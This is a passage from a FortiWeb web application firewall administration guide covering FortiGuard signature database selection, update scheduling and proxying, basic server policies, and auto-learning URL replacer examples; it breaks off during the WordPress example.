Fortinet's FortiGuard Global Security Research Team continuously monitors detections of new and older viruses. When a specific virus has not been detected for one year, it is considered to be dormant. It is possible that a new outbreak could revive it, but that is increasingly unlikely as time passes due to the replacement of vulnerable hardware and patching of vulnerable software. As a result, dormant viruses' signatures are removed from the "Regular" database, but preserved in the "Extended" signature database.

If your FortiWeb's performance is more critical than the risk of these dormant viruses, you can choose to omit signatures for obsolete viruses by selecting the "Regular" database in **System > Config > FortiGuard**.

To select the virus database and maximum buffer size

1. Go to **System > Config > FortiGuard**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Maintenance** category. For details, see ["Permissions"](#) on page 85.

2. Under the **FortiWeb Virus Database** section, select the database(s) and maximum antivirus buffer size according to these options:

Regular Virus Database	Select to use only the signatures of viruses and greyware that have been detected by FortiGuard's networks to be recently spreading in the wild.
Extended Virus Database	Select to use all signatures, regardless of whether the viruses or greyware are currently spreading.
Use FortiSandbox Malware Signature Database	Enable to use FortiSandbox's malware signature database to enhance FortiWeb's virus detection in addition to using the regular virus database or extended virus database. FortiWeb downloads the malware signature database from a FortiSandbox appliance or FortiSandbox Cloud. For details, see "To configure a FortiSandbox connection" on page 591.
Maximum Antivirus Buffer Size	Type the maximum size in kilobytes (KB) of the memory buffer that FortiWeb uses to temporarily undo the compression that a client or web server has applied to traffic, in order to inspect and/or modify it. For details, see "Configuring temporary decompression for scanning & rewriting" on page 647. The maximum acceptable values are: 102400 KB: FortiWeb 100D, 400C, 400D, 600D, 1000C, 3000CFsx, 3000DFsx, 4000C 204800 KB: FortiWeb 1000D, 2000D, 3000D, 4000D, 1000E, 2000E, 3010E 358400 KB: FortiWeb 3000E, 4000E Caution: Unless you configure otherwise, compressed requests that are too large for this buffer pass through FortiWeb without scanning or rewriting. This could allow viruses to reach your web servers, and cause HTTP body rewriting to fail. If you prefer to block requests greater than this buffer size, configure Body Length (page 574). To be sure that it will not disrupt normal traffic, first configure Action (page 576) to be Alert. If no problems occur, switch it to Alert & Deny.

See also

- ["Configuring temporary decompression for scanning & rewriting"](#) on page 647
- ["Blocking known attacks & data leaks"](#) on page 505

Accessing FortiGuard via a proxy

You can access FortiGuard via a proxy using two methods:

- Use a FortiWeb as a proxy. For details, see ["To access FortiGuard via a FortiWeb proxy"](#) on page 192.
- Use a web proxy server. For details, see ["Access FortiGuard via a web proxy server"](#) on page 193.

To use a FortiWeb as a proxy, you must first configure a FortiWeb in the network to act as an FDS proxy. For details, see "[To configure a FortiWeb as a proxy](#)" on page 192.

To configure a FortiWeb as a proxy

You can configure FortiWeb to act as an FDS proxy so that other FortiWebs in the network are able to connect to FortiGuard for license validation and services. You can further configure the proxy either in the CLI or the web UI to override the default FDS list, but it must first be enabled in the CLI.

1. In the CLI, enter the following commands:

```
config system global
    set fds-server enable
end
```

Optionally, you can configure the FortiWeb proxy to override the default FDS and connect to a specific FDS IP address. To modify the FDS configuration in the web UI, go to [Step 2](#) on page 192. To modify the FDS configuration in the CLI, also enter these commands:

```
config system fds server
    set override_switch enable
    set address <fds_IPv4>
    set port <fds_port>
```

For details, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

2. In the web UI, go to **System > Config > FDS Proxy**.

Note: The FDS Proxy menu will be available only once you've set `fds-server` to `enable` in the CLI.

3. Enable **Override Default FortiGuard IP Address**.

4. Configure these settings:

Override Default FortiGuard IP Address	Enter the IP address of the FDS to which you want FortiWeb to connect.
FDS Proxy Listen Port	Enter the port of the FDS to which you want FortiWeb to connect. The default port is 8989.

5. Click **Apply**.

To access FortiGuard via a FortiWeb proxy

You can configure FortiWeb to access FDS via a FortiWeb proxy in the network. To do so, you must first configure a FortiWeb as a FDS proxy. For details, see "[To configure a FortiWeb as a proxy](#)" on page 192.

1. Go to **System > Config > FortiGuard**.
2. Under the **FortiWeb Update Service Options** section, enable **Override default FortiGuard Address**.
3. In the **Override default FortiGuard Address** field, enter the IP address of the FortiWeb proxy you configured in "[To configure a FortiWeb as a proxy](#)" on page 192.
4. Click **Apply**.

Access FortiGuard via a web proxy server

Using the CLI, you can configure FortiWeb to connect through an explicit (non-transparent) web proxy server to the FortiGuard Distribution Network (FDN) for signature updates. FortiWeb connects to the proxy using the HTTP CONNECT method as described in RFC 2616 (<http://tools.ietf.org/rfc/rfc2616.txt>).

CLI Syntax

```
config system autoupdate tunneling
  set status enable
  set address 192.168.1.10
  set port 8080
  set username FortiWeb
  set password myPassword1
end
```

For details, see the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

How often does Fortinet provide FortiGuard updates for FortiWeb?

Security is only as good as your most recent update. Without up-to-date signatures and blacklists, your network would be vulnerable to new attacks. However, if updates are released before adequate testing and are not accurate, FortiWeb scans would result in false positives or false negatives. For maximum benefit and minimum risk, updates must balance two needs: to be both accurate and current.

Fortinet releases FortiGuard updates according to the best frequency for each technology.

- **Antivirus**—Multiple times per day. Updates are fast to test and low risk, while viruses can spread quickly and the newest ones are most common.
- **IP reputation**—Once per day (approximately). Some time is required to make certain of an IP address' reputation, but waiting too long would increase the probability of blacklisting innocent DHCP/PPPoE clients that re-use an IP address previously used by an attacker.
- **Attack, data type, suspicious URL, and data leak signatures**—Once every 1-2 weeks (approximately). Signatures must be tuned to be flexible enough to match heuristic permutations of attacks without triggering false positives in similar but innocent HTTP requests/responses. Signatures must then be thoroughly tested to analyze any performance impacts and mismatches that are an inherent risk in feature-complete regular expression engines. Many exploits and data leaks also continue to be relevant for two years or more, much longer than most viruses.
- **Geography-to-IP mappings**—Once every month (approximately). These change rarely. FortiWeb can poll for these updates and automatically apply them through the FortiGuard Distribution Servers. Please note that you must manually upload these updates if your deployments do not have an Internet connection. For details, see ["Updating data analytics definitions"](#) on page 731.

See also

- ["Blocking known attacks & data leaks"](#) on page 505
- ["Validating parameters \("input rules"\)"](#) on page 553
- ["Preventing tampering with hidden inputs"](#) on page 560
- ["Limiting file uploads"](#) on page 590
- ["Predefined data types"](#) on page 216
- ["Predefined suspicious request URLs"](#) on page 221

- ["Blacklisting source IPs with poor reputation"](#) on page 485
- ["Blacklisting & whitelisting countries & regions"](#) on page 488
- ["Updating data analytics definitions"](#) on page 731

Scheduling automatic signature updates

Your FortiWeb appliance uses signatures, IP lists, and data type definitions for many features, including to detect attacks such as:

- Cross-site scripting (XSS)
- SQL injection
- Other common exploits
- Data leaks

FortiWeb can also use virus definitions to block Trojan uploads, IP reputation definitions to allow search engines but block botnets and anonymize proxies preferred by hackers, and the spilled account credential database to prevent credential stuffing attacks. **FortiGuard services ensure that your FortiWeb is using the most advanced attack protections. Timely updates are crucial to defending your network.**

You can configure the FortiWeb appliance to periodically poll for FortiGuard service updates from the FDN, and automatically download and apply updates if they exist.

For example, you might schedule update requests every night at 2 AM local time, when traffic volume is light.



Alternatively, you can manually upload update packages, or initiate an update request. For details, see ["Manually initiating update requests"](#) on page 196 and ["Uploading signature & geography-to-IP updates"](#) on page 197.

You can manually initiate updates as alternatives or in conjunction with scheduled updates. For additional/alternative update methods, see ["Manually initiating update requests"](#) on page 196.

To configure automatic updates

1. Verify that the FortiWeb appliance has a valid license and can connect to the FDN, or (if destination NAT is used, for example) the IP address that you are using to override the default IPs for FDN servers. For details, see ["To determine your FortiGuard license status"](#) on page 188 and ["To verify FortiGuard update connectivity"](#) on page 189.
2. Go to **System > Config > FortiGuard**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Maintenance** category. For details, see ["Permissions"](#) on page 85.

The page informs you if you are not registered or if registration has expired. If your registration is active, continue scheduling updates; otherwise, click **Register** or **Renew**.
3. Enable **Scheduled Update**.
4. Select one of the following options:
 - **Every**—Select to request to update once every 1 to 23 hours, then select the number of hours between each update request.

- **Daily**—Select to update once every day, then select the hour. The update attempt occurs at a randomly determined time within the selected hour.
- **Weekly**—Select to request to update once a week, then select the day of the week, the hour, and the minute of the day to check for updates.

If you select **00** minutes, the update request occurs at a randomly determined time within the selected hour.

5. Click **Apply**.

The FortiWeb appliance next requests an update according to the schedule.

At the scheduled time, FortiWeb starts the update. Under **Current update status**, the following information is displayed:

- The name of the update package that is currently downloading, the start time of the download operation, and the percentage complete.
- A **Refresh** button, which allows you to update the package download status information.
- If FortiWeb is downloading an anti-virus package, a **Stop Download** button.

This option is useful if the download is slow and you want to stop it and try again later. It can also be useful if you want to stop the scheduled update and instead update your anti-virus package using a file you have manually downloaded from the Fortinet Technical Support website ("[Uploading signature & geography-to-IP updates](#)" on page 197.)

Results of the update activity appear in **Security Service** in the **FortiGuard Information** widget. If you have enabled logging in:

- **Log & Report > Log Config > Other Log Settings**
- **Log & Report > Log Config > Global Log Settings**

when the FortiWeb appliance requests an update, the event is recorded in **Log & Report > Log Access > Event**. Example log messages include:

```
FortiWeb virus signature is already up-to-date
FortiWeb IP reputation signature update succeeded
```

If the FortiWeb appliance cannot successfully connect, it records a log with a message that varies by the cause of the error, such as:

```
FortiWeb is unauthorized.
```

Once the attack signature update is complete, FortiWeb immediately begins to use them. No reboot is required.

See also

- "[How often does Fortinet provide FortiGuard updates for FortiWeb?](#)" on page 193
- "[Blocking known attacks & data leaks](#)" on page 505
- "[Validating parameters \("input rules"\)](#)" on page 553
- "[Preventing tampering with hidden inputs](#)" on page 560
- "[Limiting file uploads](#)" on page 590
- "[Predefined data types](#)" on page 216
- "[Predefined suspicious request URLs](#)" on page 221

- ["Blacklisting source IPs with poor reputation"](#) on page 485
- ["Blacklisting & whitelisting countries & regions"](#) on page 488

Manually initiating update requests

If an important update has been released but there is too much time remaining until your appliance's next scheduled update poll, you can manually trigger the FortiWeb appliance to connect to the FDN or FDS server override to request available updates for its FortiGuard service packages.



You can manually initiate updates as an alternative or in addition to other update methods. For details, see ["Scheduling automatic signature updates"](#) on page 194 and ["Uploading signature & geography-to-IP updates"](#) on page 197.

To manually request updates

1. Before manually initiating an update, first verify that the FortiWeb appliance has a valid license and can connect to the FDN or override server. For details, see ["To determine your FortiGuard license status"](#) on page 188 and ["To verify FortiGuard update connectivity"](#) on page 189.

2. Go to **System > Config > FortiGuard**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Maintenance** category. For details, see ["Permissions"](#) on page 85.

3. Click **Update Now**.

The web UI displays a message similar to the following:

Your update request has been sent. Your database will be updated in a few minutes. Please check your update page for the status of the update.

After the update starts, under **Current update status**, the following information is displayed:

- The name of the update package that is currently downloading
- The start time of the download operation
- The percentage complete
- A **Refresh** button, which allows you to update the package download status information.
- If FortiWeb is downloading an anti-virus package, a **Stop Download** button.

This option is useful if, for example, the download is slow and you want to stop it and try again later. It can also be useful if you want to stop the scheduled update and instead update your anti-virus package using a file you have manually downloaded from the Fortinet Technical Support website. For details, see ["Uploading signature & geography-to-IP updates"](#) on page 197.

Results of the update activity appear in **FortiWeb Security Service** in the **FortiGuard Information** widget. If you have enabled logging in:

- **Log & Report > Log Config > Other Log Settings**
- **Log & Report > Log Config > Global Log Settings**

when the FortiWeb appliance requests an update, the event is recorded in **Log & Report > Log Access > Event**. Example log messages include:

```
FortiWeb virus signature is already up-to-date
```



```
FortiWeb IP reputation signature update succeeded
```

If the FortiWeb appliance cannot successfully connect, it will record a log with a message that varies by the cause of the error, such as:

```
FortiWeb is unauthorized.
```

Once the attack signature update is complete, FortiWeb will immediately begin to use them. No reboot is required.

Uploading signature & geography-to-IP updates

You can manually update the geography-to-IP mappings and the attack, virus, and botnet signatures that your FortiWeb appliance uses to detect attacks. Updating these ensures that your FortiWeb appliance can detect recently discovered variations of these attacks, and that it knows about the current statuses of all IP addresses on the public Internet.

After restoring the firmware of the FortiWeb appliance, you should install the most currently available packages through FortiGuard. Restoring firmware installs the packages that were current at the time the firmware image file was made: they may no longer be up-to-date.



Alternatively, you can schedule automatic updates, or manually trigger the appliance to immediately request an update. For details, see "[Scheduling automatic signature updates](#)" on page 194 and "[Manually initiating update requests](#)" on page 196.

This does not, however, update geography-to-IP mappings, which still must be uploaded manually.

To manually upload signatures

1. Download the file from the Fortinet Technical Support website:
<https://support.fortinet.com/>
2. Log in to the web UI of the FortiWeb appliance as the `admin` administrator, or an administrator account whose access profile contains **Read** and **Write** permissions in the **Maintenance** category.
3. Go to **System > Config > FortiGuard**.
4. In the row next to the service whose signatures you want to upload, click the **Update** link.

A dialog appears that allows you to upload the file.

5. Click the **Browse** button (its name varies by browser) and select the signatures file, then click **OK**.

Your browser uploads the file. Time required varies by the size of the file and the speed of your network connection. Once the attack signature update is complete, FortiWeb will immediately begin to use them. No reboot is required.

See also

- "[Restoring firmware \("clean install"\)](#)" on page 810

Receive quarantined source IP addresses from FortiGate

FortiGate can maintain a list of source IPs that it prevents from interacting with the network and protected systems. You can configure FortiWeb to receive this list of IP addresses at intervals you specify. You can then configure an inline protection profile to detect the IP addresses in the list and take an appropriate action.

This feature is available only if the operating mode is Reverse Proxy or True Transparent Proxy.

To configure a FortiGate appliance that provides banned source IPs

1. Go to **System > Config > FortiGate Integration**.
2. Configure these settings:

Enable	Select to enable transmission of quarantined source IP address information from the specified FortiGate.
FortiGate IP Address	Specify the FortiGate IP address that is used for administrative access.
FortiGate Port	Specify the port that the FortiGate uses for administrative access via HTTPs. In most cases, this is port 443.
Protocol	Specify whether the FortiGate and FortiWeb communicate securely using HTTPS.
Administrator Name	Specify the name of the administrator account that FortiWeb uses to connect to the FortiGate.
Administrator Password	Specify the password for the FortiGate administrator account that FortiWeb uses.
Schedule Frequency	Specify how often FortiWeb checks the FortiGate for an updated list of banned source IP addresses, in hours. The valid range is 1 to 5.

3. Click **Apply** to save your changes.
4. To configure FortiWeb to detect the quarantined IP addresses and take the appropriate action, configure the **FortiGate Quarantined IPs** settings in an inline protection profile. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261.

See also

- ["Connecting to FortiGuard services"](#) on page 187

Configuring basic policies

As the last step in the setup sequence, you **must** configure at least one policy.

Until you configure a policy, by default, FortiWeb will:

- **while in Reverse Proxy mode, deny all traffic** (positive security model)
- **while in other operation modes, allow all traffic** (negative security model)

Once traffic matches a policy, protection profile rules are applied using a negative security model—that is, traffic that matches a policy is allowed **unless** it is flagged as disallowed by any of the enabled scans.

Keep in mind:

- Change policy settings with care. Changes take effect immediately after you click **OK**.
- When you change any server policy, you should retest it.
- FortiWeb appliances apply policies, rules, and scans in a specific order. This decides each outcome. Review the logic of your server policies to make sure they deliver the web protection and features you expect. For details, see ["Sequence of scans"](#) on page 56.

This section contains examples to get you started:

- ["Example 1: Configuring a policy for HTTP via auto-learning"](#) on page 199
- ["Example 2: Configuring a policy for HTTPS"](#) on page 200
- ["Example 3: Configuring a policy for load balancing"](#) on page 200

Once completed, continue with ["Testing your installation"](#) on page 252.

Example 1: Configuring a policy for HTTP via auto-learning

In the simplest scenario, if you want to protect a single, basic web server (that is, it does **not** use HTTPS) while the FortiWeb is operating as a Reverse Proxy, you can save time configuring your policy by using the auto-learning feature.

To generate profiles and apply them in a policy

1. Create a virtual server on the FortiWeb appliance (**Server Objects > Server > Virtual Server**). When used by a policy, it receives traffic from clients.
2. Define your web server within a **Single Server** server pool using its IP address or domain name (**Server Objects > Server > Server Pool**). When used by a policy, a server pool defines the IP address of the web server that FortiWeb forwards accepted client traffic to.
3. Create a new policy (**Policy > Server Policy**).
 - In **Name**, type a unique name for the policy.
 - In **Virtual Server** (page 279) or **Data Capture Port** (page 279), select your virtual server.
 - In **HTTP Service** (page 282), select the predefined HTTP service.
 - In **Server Pool** (page 280), select your server pool.
 - From **Web Protection Profile** (page 287), select one of the predefined inline protection profiles.
 - From **Auto Learn Profile** (page 288), select the predefined auto-learning profile.



When you use an auto-learning profile, any inline protection profile that you use with it should have **Session Management** (page 262) enabled.

Traffic should now pass through the FortiWeb appliance to your server. If it does not, see ["Troubleshooting"](#) on page 756. Auto-learning gathers data based upon the characteristics of requests and responses that it observes.

4. Use the auto-learning report to determine whether auto-learning has observed enough URLs, parameters, and attacks (**Auto Learn > Auto Learn Report**; see ["Auto-learning"](#) on page 202).
5. Generate an initial configuration (**Auto Learn > Auto Learn Report** then click **Generate Config**).
6. If necessary, modify the generated profiles to suit your security policy.
7. Modify the policy to select your generated profile in **Web Protection Profile** (page 287).
8. Disable auto-learning by deselecting the auto-learning profile in **Auto Learn Profile** (page 288).

Example 2: Configuring a policy for HTTPS

If you want to protect a single HTTPS web server, and the FortiWeb appliance is operating in Reverse Proxy mode, configuration is similar to ["Example 1: Configuring a policy for HTTP via auto-learning"](#) on page 199. Optionally, you can configure a server policy that includes **both** an HTTP service and an HTTPS service.

To be able to scan secure traffic, however, you must also configure FortiWeb to decrypt it, and therefore must provide it with the server's certificate and private key.

To configure an HTTPS policy

1. Upload a copy of the web server's certificate (**System > Certificates > Local**).
2. Configure a policy and profiles according to ["Example 1: Configuring a policy for HTTP via auto-learning"](#) on page 199, except for auto-learning, which you will postpone until these steps are complete.
3. Modify the server policy (**Policy > Server Policy**).
 - In **HTTPS Service** (page 282), select the predefined HTTPS service.
 - In **Certificate** (page 282), select your web server's certificate. Also select, if applicable, **Certificate Verification** (page 284) and **Certificate Intermediate Group** (page 283).

Traffic should now pass through the FortiWeb appliance to your server. If it does not, see ["Troubleshooting"](#) on page 756.

Example 3: Configuring a policy for load balancing

If you want protect multiple web servers, configuration is similar to ["Example 1: Configuring a policy for HTTP via auto-learning"](#) on page 199.

To distribute load among multiple servers, however, instead of specifying a single physical server in the server pool, you specify a group of servers (server farm or server pool).



This example assumes a basic network topology. If there is another, external proxy or load balancer between clients and your FortiWeb, you may need to define it. For details, see ["Defining your web servers & load balancers"](#) on page 387.

Similarly, if there is a proxy or load balancer between FortiWeb and your web

servers, you may need to configure your server pool for a single web server (the proxy or load balancer), **not** a **Server Balance** pool.

To configure a load-balancing policy

1. Define multiple web servers by either their IP address or domain name in a **Server Balance** server pool (**Server Objects > Server > Server Pool**). When used by a policy, it tells the FortiWeb appliance how to distribute incoming web connections to those destination IP addresses. In the server pool configuration, do the following:
 - For [Type](#) (page 398), select **Round Robin** or **Weighted Round Robin**.
 - For [Single Server/Server Balance](#) (page 398), select **Server Balance**.
 - Add your physical and/or domain servers.
 - If you want to distribute connections proportionately to a server's capabilities instead of evenly, in each [Weight](#) (page 401), give the numerical weight of the new server when using the weighted round-robin load-balancing algorithm.
2. Configure a policy and profiles according to "[Example 1: Configuring a policy for HTTP via auto-learning](#)" on page 199, except for auto-learning, which you will postpone until these steps are complete.

Traffic should now pass through the FortiWeb appliance and be distributed among your servers. If it does not, see "[Troubleshooting](#)" on page 756.

Auto-learning

Protection settings can be configured manually or with assistance from auto-learning.

Auto-learning can teach you a great deal about the threats your web assets face. It also helps you to understand your web applications' structures and how end-users use them. Most importantly, though, auto-learning can help you to quickly tailor FortiWeb's configuration to suit your web applications.



For data centers, colocation centers, and complex web applications, auto-learning-assisted configuration can save significant amounts of time compared to purely manual configuration. However, auto-learning is also resource-intensive and can decrease performance while gathering data. For strategies on minimizing the impact to your network, see ["Running auto-learning"](#) on page 227 and ["Regular expression performance tips"](#) on page 747.

Auto-learning discovers the URLs and other characteristics of HTTP and/or HTTPS sessions by observing traffic that is passing to your web servers. To learn about whether the request is legitimate or a potential attack attempt, it performs the following tasks:

- Compares the request to attack signatures
- Observes inputs such as cookies and URL parameters
- Tracks your web servers' response to each request, such as `401 Unauthorized` or `500 Internal Server Error`
- Captures the rate of requests for files (hits) by IP address and content type

By learning from your traffic, the FortiWeb appliance can suggest appropriate configurations, and help you to quickly generate profiles designed specifically for your unique traffic.


See also

["IPv6 support"](#) on page 60

How to adapt auto-learning to dynamic URLs & unusual parameters

When web applications have dynamic URLs or unusual parameter styles, you **must** adapt auto-learning to recognize them.

By default, auto-learning assumes that your web applications use the most common URL structure:



- All parameters follow after a **question mark** (?). They do not follow a hash (#) or other separator character.
- If there are multiple name-value pairs, each pair is separated by an **ampersand** (&). They are not separated by a semi-colon (;) or other separator character.
- All paths before the question mark (?) are **static**—they do not change based upon input, blending the path with parameters (sometimes called a dynamic URL).

For example, the page at:

```
/app/main
```

always has that same path. After a person logs in, the page's URL **doesn't** become:

```
/app/marco/main
```

or

```
/app#deepa
```

For another example, the URL does **not** dynamically reflect inventory, such as:

```
/app/sprockets/widget1024894
```

Some web applications, however, embed parameters within the path structure of the URL, or use unusual or non-uniform parameter separator characters. **If you do not configure URL replacers for such applications, it can cause your FortiWeb appliance to gather auto-learning data incorrectly.** This can cause the following symptoms:

- Auto-learning reports do not contain a correct URL structure.
- URL or parameter learning is endless.
- When you generate a protection profile from auto-learning, it contains many more URLs than actually exist, because auto-learning cannot predict that the URL is actually dynamic.
- Parameter data is not complete, despite the fact that the FortiWeb appliance has seen traffic containing the parameter.

For example, with Microsoft Outlook Web App (OWA), the user's login name could be embedded within the path structure of the URL, such as:

```
/owa/tom/index.html  
/owa/mary/index.html
```

instead of suffixed as a parameter, such as:

```
/owa/index.html?username=tom  
/owa/index.html?username=mary
```

Auto-learning would continue to create new URLs as new users are added to OWA. Auto-learning would also expend extra resources learning about URLs and parameters that are actually the same. Additionally, auto-learning may not be able to fully learn the application structure, as each user may not request the same URLs.

To solve this, you would create a URL replacer that recognizes the user name within the OWA URL as if it were a standard, suffixed parameter value so that auto-learning can function properly.

See also

- ["Configuring URL interpreters"](#) on page 204
- ["Grouping URL interpreters"](#) on page 215

- ["Configuring an auto-learning profile"](#) on page 225
- ["Regular expression syntax"](#) on page 829

Configuring URL interpreters

When using auto-learning, you must define how to interpret dynamic URLs and URLs that include parameters in non-standard ways, such as with different parameter separators (; or #, for example) or by embedding the parameter within the URL's path structure.

In the web UI, these interpreter plug-ins are called "URL replacers."

URL replacers match the URL as it appears in the HTTP header of the client's request (using the regular expression in **URL Path** (page 205)) and interpret it into this standard URL formulation:

New URL (page 206)?**New Param** (page 206)=**Param Change** (page 206)

For example, if the URL is:

```
/application/value
```

and the URL replacer settings are:

Type (page 205)	Custom-Defined
URL Path (page 205)	(/application)/([^\/] +)
New URL (page 206)	\$0
Param Change (page 206)	\$1
New Param (page 206)	setting

\$0 holds this part of the matched URL:

```
/application
```

and \$1 holds this part of the matched URL:

```
value
```

so then the URL will be understood by auto-learning, and displayed in the report, as:

```
/application?setting=value
```



Need a refresher on regular expressions? See ["Regular expression syntax"](#) on page 829, ["What are back-references?"](#) on page 835, and ["Cookbook regular expressions"](#) on page 836. You can also use the examples in this section, such as ["Example: URL interpreter for WordPress"](#) on page 210.

To create a URL interpreter

1. Go to **Auto Learn > Application Templates** and select **URL Replacer** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Autolearn Configuration** category. For details, see ["Permissions"](#) on page 85.

2. Click **Create New**.

3. Configure these settings:

Name	Type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
Type	Select either: • Predefined—Use one of the predefined URL replacers which you select in Application Type (page 205). • Custom-Defined—Define your own URL replacer by configuring URL Path (page 205), New URL (page 206), Param Change (page 206), and New Param (page 206).

4. If you selected **Predefined** in [Type](#) (page 205), also configure this setting:

Application Type	Select one of the predefined URL interpreter plug-ins for well-known web applications: • JSP—Use the URL replacer designed for Java server pages (JSP) web applications, where parameters are often separated by semi-colons (;). • OWA—User the URL replacer designed for default URLs in Microsoft Outlook Web App (OWA), where user name and directory parameters are often embedded within the URL: <pre>(^/public/)(.*)</pre> <pre>(^/exchange/)([^\s/]+)/*(([/\s]+)/(.*))*</pre>

5. If you selected **Custom-Defined** in [Type](#) (page 205), configure these settings:

URL Path	Type a regular expression, such as <code>(^/[^\s/]+)/(.*)</code>, matching all and only the URLs to which the URL replacer should apply. The maximum length is 255 characters. The pattern does not require a slash (/). However, it must at least match URLs that begin with a slash as they appear in the HTTP header, such as <code>/index.html</code>. Do not include the domain name, such as <code>www.example.com</code>. For examples, see "Example: URL interpreter for WordPress" on page 210. To test the regular expression against sample text, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression. For details, see "Regular expression syntax" on page 829, "What are back-references?" on page 835, and "Cookbook regular expressions" on page 836.

	Note: If this URL replacer will be used sequentially in its set of URL replacers, instead of being mutually exclusive, this regular expression should match the URL produced by the previous interpreter, not the original URL from the request.
New URL	Type either a literal URL, such as <code>/index.html</code>, or a regular expression with a back-reference (such as <code>\$1</code>) defining how the URL will be interpreted. The maximum length is 255 characters. Note: Back-references can only refer to capture groups (parts of the expression surrounded with parentheses) within the same URL replacer. Back-references cannot refer to capture groups in other URL replacers.
Param Change	Type either the parameter's literal value, such as <code>user1</code>, or a back-reference (such as <code>\$0</code>) defining how the value will be interpreted.
New Param	Type either the parameter's literal name, such as <code>username</code>, or a back-reference (such as <code>\$2</code>) defining how the parameter's name will be interpreted in the auto-learning report. The maximum length is 255 characters. Note: Back-references can only refer to capture groups (parts of the expression surrounded with parentheses) within the same URL replacer. Back-references cannot refer to capture groups in other URL replacers.

- Click **OK**.
- Group the URL replacers in an application policy. For details, see ["Grouping URL interpreters"](#) on page 215.
- Select the application policy in one or more auto-learning profiles. For details, see ["Configuring an auto-learning profile"](#) on page 225.
- Select the auto-learning profiles in server policies. For details, see ["Configuring a server policy"](#) on page 277.

See also

- ["Regular expression syntax"](#) on page 829
- ["Example: URL interpreter for a JSP application"](#) on page 206
- ["Example: URL interpreter for Microsoft Outlook Web App 2007"](#) on page 207
- ["Example: URL interpreter for WordPress"](#) on page 210

Example: URL interpreter for a JSP application

The HTTP request URL from a client is:

```
/app/login.jsp;jsessionid=xxx;p1=111;p2=123?p3=5555&p4=66aaaaa
```

which uses semi-colons as parameter separators (;) in the URL, a behavior typical to JSP applications. You would create a URL replacer to recognize the JSP application's parameters: the semi-colons.

Example: URL replacer for JSP applications

Type (page 205)	Predefined
Application Type (page 205)	JSP

The predefined JSP interpreter plug-in will interpret the URL as:

```
/app/login.jsp?p4=66aaaaa&p1=111&p2=123&p3=5555
```

See also

- "Regular expression syntax" on page 829
- "Example: URL interpreter for Microsoft Outlook Web App 2007" on page 207
- "Example: URL interpreter for WordPress" on page 210

Example: URL interpreter for Microsoft Outlook Web App 2007

When a client sends requests to Microsoft Outlook Web App (OWA), many of its URLs use structures like this:

```
/exchange/tom/index.html
/exchange/jane.doe/memo.EML
/exchange/qinlu/2012/1.html
```

These have user name parameters embedded in the URL. In order for auto-learning to recognize the parameters, you must either:

- Set **Type** (page 205) to **Predefined** and **Application Type** (page 205) to **OWA**. This predefined auto-learning URL interpreter will match and recognize parameters in all default URLs.
- Create your own custom URL interpreters.

A custom URL replacer for those URLs could look like this:

Example: URL replacer for Microsoft Outlook Web App—User name structure #1

New URL Replacer

Name: exchange1

Type: **Predefined** **Custom-Defined**

Application Type: JSP

URL Path: /exchange/([^\s/]+)/(.*)

New URL: \$0\$2

Param Change: \$1

New Param: username1

OK Cancel

Name	OWAusername1
Type (page 205)	Custom-Defined
URL Path (page 205)	(/exchange/)([^/]+)/(.*)
New URL (page 206)	\$0\$2
Param Change (page 206)	\$1
New Param (page 206)	username1

Then the URLs would be recognized by auto-learning as if OWA used a more conventional parameter structure like this:

```
/exchange/index.html?username1=tom
/exchange/memo.EML?username1=jane.doe
/exchange/2012/1.html?username1=qinlu
```

Notably, OWA can also include **other** parameters in the URL, such as a mail folder's name. Also, OWA can include the user name and folder in more than one way. Therefore multiple URL interpreters are required to match all possible URL structures. In addition to the first URL replacer, you would also configure the following URL replacers and group them into a single set (an auto-learning "application policy") in order to recognize all possible URLs.

Example: URL replacer for Microsoft Outlook Web App—Folder name structure #1

New URL Replacer

Name: exchange3

Type: ☐ Predefined ☒ Custom-Defined

Application Type: JSP

URL Path: (/exchange/)([^/]+)/(.*)

New URL: \$0\$2

Param Change: \$1\$2

New Param: foldername1

OK Cancel

Sample URL	/exchange/archive-folders/2011
Name	OWAfoldername1
Type (page 205)	Custom-Defined

URL Path (page 205)	(/exchange/) ([^/]+)/) (.*)
New URL (page 206)	\$0
Param Change (page 206)	\$1\$2
New Param (page 206)	folder1
Results	/exchange/?folder1=archive-folders/2011

Example: URL replacer for Microsoft Outlook Web App—User name structure #2

New URL Replacer

Name: exchange2

Type: ☐ Predefined ☒ Custom-Defined

Application Type: JSP

URL Path: (/exchange/) ([^/]+\.[^/]+) >>

New URL: \$0

Param Change: \$1

New Param: username2

OK Cancel

Diagram annotations: Blue arrows point from "Capture group 0" to the first parentheses in the URL path and from "Capture group 1" to the second parentheses. Red circles highlight the capture group placeholders \$0 and \$1 in the New URL and Param Change fields.

Sample URL	/exchange/jane.doe
Name	OWAusername2
Type (page 205)	Custom-Defined
URL Path (page 205)	(/exchange/) ([^/]+\.[^/]+)
New URL (page 206)	\$0
Param Change (page 206)	\$1
New Param (page 206)	username2
Results	/exchange/?username2=jane.doe

Example: URL replacer Microsoft Outlook Web App—Folder name structure #2

Sample URL	/public/imap-share-folders/memos
Name	OWAfoldername2
Type (page 205)	Custom-Defined
URL Path (page 205)	(/public/) ([^\s/]+) (.*)
New URL (page 206)	\$0
Param Change (page 206)	\$1\$2
New Param (page 206)	folder2
Results	/public/?folder2=imap-share-folders/memos

See also

- "Regular expression syntax" on page 829
- "Example: URL interpreter for a JSP application" on page 206
- "Example: URL interpreter for WordPress" on page 210

Example: URL interpreter for WordPress

If the HTTP request URL from a client is a slash-delimited chain of multiple parameters, like either of these:

```
/wordpress/2012/06/05
/index/province/ontario/city/ottawa/street/moodie
```

then the format is either of these:

```
/wordpress/value1/value2/value3
```


```
/index/param1/value1/param2/value2/param3/value3
```

In this URL format, there are 3 parameter values (with or without their names) in the URL:

- param1
- param2
- param3

